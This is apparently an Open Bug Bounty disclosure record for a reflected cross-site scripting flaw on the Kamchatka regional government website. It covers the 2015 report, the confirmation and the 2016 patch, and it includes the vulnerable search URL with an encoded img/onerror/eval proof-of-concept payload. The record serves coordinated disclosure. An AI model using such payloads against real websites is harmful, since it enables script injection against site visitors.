kamchatka.gov.ru XSS vulnerability

2015-09-20T03:04:00
ID OBB:87640
Type openbugbounty
Reporter WhitePacket
Modified 2016-04-27T20:46:00

Description

Vulnerable URL:
http://www.kamchatka.gov.ru/?cont=search&search;_text=%2F%22%3E%3Cimg+src%3Dx%3Aalert(%2FXSSPOSED%2F)+onerror%3Deval(src)%3E&search;_ch=1
Details:

Description| Value
---|---
Patched:| Yes, at 25.04.2016
Latest check for patch:| 25.04.2016 14:01 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 720055
Google Pagerank| 5
VIP website status:| No
Check kamchatka.gov.ru SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 20 September, 2015 03:04 GMT
Vulnerability existence verified and confirmed| 20 September, 2015 11:50 GMT
Vulnerability patched by the website owner| 27 April, 2016 20:46 GMT